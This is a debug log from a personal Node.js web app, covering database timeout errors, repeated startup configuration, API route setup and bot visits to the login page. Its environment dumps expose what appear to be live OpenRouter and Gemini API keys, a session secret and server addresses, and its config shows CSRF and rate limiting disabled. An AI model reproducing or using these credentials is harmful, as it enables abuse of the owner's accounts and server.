    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-12 09:26:33' as DATETIME)"
}
AggregateError [ECONNREFUSED]: 
    at internalConnectMultiple (node:net:1134:18)
    at afterConnectMultiple (node:net:1715:7) {
  code: 'ECONNREFUSED',
  fatal: true,
  [errors]: [
    Error: connect ECONNREFUSED 2a01:4f9:3071:1fc3::396:3306
        at createConnectionError (node:net:1678:14)
        at afterConnectMultiple (node:net:1708:16) {
      errno: -111,
      code: 'ECONNREFUSED',
      syscall: 'connect',
      address: '2a01:4f9:3071:1fc3::396',
      port: 3306
    },
    Error: connect ECONNREFUSED 65.21.215.19:3306
        at createConnectionError (node:net:1678:14)
        at afterConnectMultiple (node:net:1708:16) {
      errno: -111,
      code: 'ECONNREFUSED',
      syscall: 'connect',
      address: '65.21.215.19',
      port: 3306
    }
  ]
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-12 11:53:33' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-12 11:53:33' as DATETIME)"
}
2026-05-12T18:46:31.757Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-05-12T18:46:32.881Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-05-12T18:46:33.644Z server-connect:setup:upload Upload middleware configured.
2026-05-12T18:46:33.645Z server-connect:secure CSRF Protection initialized
2026-05-12T18:46:33.648Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-05-12T18:46:33.650Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-05-12T18:46:33.651Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-05-12T18:46:33.652Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-05-12T18:46:33.654Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-05-12T18:46:33.661Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-05-12T18:46:33.671Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-05-12T18:46:33.685Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-05-12T18:46:33.752Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-05-12T18:46:33.753Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-05-12T18:46:33.756Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-05-12T18:46:33.758Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-05-12T18:46:33.765Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-05-12T18:46:33.773Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-05-12T18:46:33.775Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-05-12T18:46:33.784Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-05-12T18:46:33.784Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-05-12T18:46:33.788Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-05-12T18:46:33.794Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-05-12T18:46:33.797Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-05-12T18:46:33.800Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-05-12T18:46:33.802Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-05-12T18:46:33.805Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-05-12T18:46:33.811Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-05-12T18:46:33.811Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-05-12T18:46:33.816Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-05-12T18:46:33.819Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-05-12T18:46:33.819Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-05-12T18:46:33.823Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-05-12T18:46:33.823Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-05-12T18:46:33.826Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-05-12T18:46:33.828Z server-connect:setup:routes Api route /api/test(.json)? created
2026-05-12T18:46:33.830Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-05-12T18:46:33.832Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-05-12T18:46:33.838Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-05-12T18:46:33.842Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-05-12T18:46:33.844Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-05-12T18:46:33.854Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-05-12T18:46:34.450Z server-connect:router Serving templateView /
2026-05-12T18:46:34.452Z server-connect:app Executing action step identify
2026-05-12T18:46:34.452Z server-connect:app options: { provider: 'security' }
2026-05-12T18:46:34.455Z server-connect:auth No login cookie found
2026-05-12T18:46:34.455Z server-connect:output identity: false
2026-05-12T18:46:34.455Z server-connect:app Executing action step restrict
2026-05-12T18:46:34.455Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-12T18:46:34.456Z server-connect:output restrict: undefined
2026-05-12T18:46:34.633Z server-connect:router Serving templateView /login
2026-05-12T18:46:34.634Z server-connect:app Executing action step identify
2026-05-12T18:46:34.634Z server-connect:app options: { provider: 'security' }
2026-05-12T18:46:34.634Z server-connect:auth No login cookie found
2026-05-12T18:46:34.634Z server-connect:output identity: false
2026-05-12T18:46:34.634Z server-connect:router Render template layouts/authentication
2026-05-12T18:46:34.635Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; wpbot/1.4; +https://forms.gle/ajBaxygz9jSR8p8G9)',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '184.32.43.186',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-13T18:46:34.633Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '184.32.43.186',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; wpbot/1.4; +https://forms.gle/ajBaxygz9jSR8p8G9)',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '184.32.43.186',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-05-13T05:52:11.914Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-05-13T05:52:13.782Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-05-13T05:52:14.644Z server-connect:setup:upload Upload middleware configured.
2026-05-13T05:52:14.645Z server-connect:secure CSRF Protection initialized
2026-05-13T05:52:14.649Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-05-13T05:52:14.653Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-05-13T05:52:14.653Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-05-13T05:52:14.654Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-05-13T05:52:14.661Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-05-13T05:52:14.667Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-05-13T05:52:14.678Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-05-13T05:52:14.692Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-05-13T05:52:14.696Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-05-13T05:52:14.698Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-05-13T05:52:14.700Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-05-13T05:52:14.704Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-05-13T05:52:14.710Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-05-13T05:52:14.719Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-05-13T05:52:14.724Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-05-13T05:52:14.799Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-05-13T05:52:14.799Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-05-13T05:52:14.805Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-05-13T05:52:14.809Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-05-13T05:52:14.813Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-05-13T05:52:14.815Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-05-13T05:52:14.823Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-05-13T05:52:14.824Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-05-13T05:52:14.831Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-05-13T05:52:14.832Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-05-13T05:52:14.838Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-05-13T05:52:14.838Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-05-13T05:52:14.840Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-05-13T05:52:14.847Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-05-13T05:52:14.848Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-05-13T05:52:14.850Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-05-13T05:52:14.852Z server-connect:setup:routes Api route /api/test(.json)? created
2026-05-13T05:52:14.855Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-05-13T05:52:14.858Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-05-13T05:52:14.864Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-05-13T05:52:14.867Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-05-13T05:52:14.869Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-05-13T05:52:14.880Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-05-13T13:10:56.699Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-05-13T13:10:57.461Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-05-13T13:10:58.222Z server-connect:setup:upload Upload middleware configured.
2026-05-13T13:10:58.223Z server-connect:secure CSRF Protection initialized
2026-05-13T13:10:58.225Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-05-13T13:10:58.227Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-05-13T13:10:58.228Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-05-13T13:10:58.229Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-05-13T13:10:58.235Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-05-13T13:10:58.238Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-05-13T13:10:58.253Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-05-13T13:10:58.267Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-05-13T13:10:58.268Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-05-13T13:10:58.272Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-05-13T13:10:58.272Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-05-13T13:10:58.273Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-05-13T13:10:58.281Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-05-13T13:10:58.290Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-05-13T13:10:58.292Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-05-13T13:10:58.301Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-05-13T13:10:58.301Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-05-13T13:10:58.304Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-05-13T13:10:58.310Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-05-13T13:10:58.314Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-05-13T13:10:58.314Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-05-13T13:10:58.318Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-05-13T13:10:58.318Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-05-13T13:10:58.326Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-05-13T13:10:58.326Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-05-13T13:10:58.330Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-05-13T13:10:58.333Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-05-13T13:10:58.334Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-05-13T13:10:58.337Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-05-13T13:10:58.338Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-05-13T13:10:58.340Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-05-13T13:10:58.343Z server-connect:setup:routes Api route /api/test(.json)? created
2026-05-13T13:10:58.344Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-05-13T13:10:58.347Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-05-13T13:10:58.353Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-05-13T13:10:58.356Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-05-13T13:10:58.359Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-05-13T13:10:58.369Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-05-13T13:10:58.963Z server-connect:router Serving templateView /
2026-05-13T13:10:58.966Z server-connect:app Executing action step identify
2026-05-13T13:10:58.966Z server-connect:app options: { provider: 'security' }
2026-05-13T13:10:58.969Z server-connect:auth No login cookie found
2026-05-13T13:10:58.969Z server-connect:output identity: false
2026-05-13T13:10:58.969Z server-connect:app Executing action step restrict
2026-05-13T13:10:58.969Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-13T13:10:58.970Z server-connect:output restrict: undefined
2026-05-13T13:10:59.148Z server-connect:router Serving templateView /login
2026-05-13T13:10:59.148Z server-connect:app Executing action step identify
2026-05-13T13:10:59.149Z server-connect:app options: { provider: 'security' }
2026-05-13T13:10:59.149Z server-connect:auth No login cookie found
2026-05-13T13:10:59.149Z server-connect:output identity: false
2026-05-13T13:10:59.149Z server-connect:router Render template layouts/authentication
2026-05-13T13:10:59.149Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; wpbot/1.4; +https://forms.gle/ajBaxygz9jSR8p8G9)',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '35.84.192.252',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-14T13:10:59.148Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '35.84.192.252',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; wpbot/1.4; +https://forms.gle/ajBaxygz9jSR8p8G9)',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '35.84.192.252',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-05-13T18:39:56.766Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-05-13T18:39:57.510Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-05-13T18:39:58.260Z server-connect:setup:upload Upload middleware configured.
2026-05-13T18:39:58.261Z server-connect:secure CSRF Protection initialized
2026-05-13T18:39:58.263Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-05-13T18:39:58.264Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-05-13T18:39:58.266Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-05-13T18:39:58.269Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-05-13T18:39:58.272Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-05-13T18:39:58.277Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-05-13T18:39:58.290Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-05-13T18:39:58.303Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-05-13T18:39:58.305Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-05-13T18:39:58.307Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-05-13T18:39:58.309Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-05-13T18:39:58.311Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-05-13T18:39:58.317Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-05-13T18:39:58.327Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-05-13T18:39:58.329Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-05-13T18:39:58.337Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-05-13T18:39:58.337Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-05-13T18:39:58.341Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-05-13T18:39:58.346Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-05-13T18:39:58.350Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-05-13T18:39:58.352Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-05-13T18:39:58.354Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-05-13T18:39:58.355Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-05-13T18:39:58.362Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-05-13T18:39:58.363Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-05-13T18:39:58.367Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-05-13T18:39:58.369Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-05-13T18:39:58.371Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-05-13T18:39:58.373Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-05-13T18:39:58.375Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-05-13T18:39:58.378Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-05-13T18:39:58.378Z server-connect:setup:routes Api route /api/test(.json)? created
2026-05-13T18:39:58.380Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-05-13T18:39:58.382Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-05-13T18:39:58.390Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-05-13T18:39:58.392Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-05-13T18:39:58.394Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-05-13T18:39:58.405Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-05-14T05:27:38.059Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
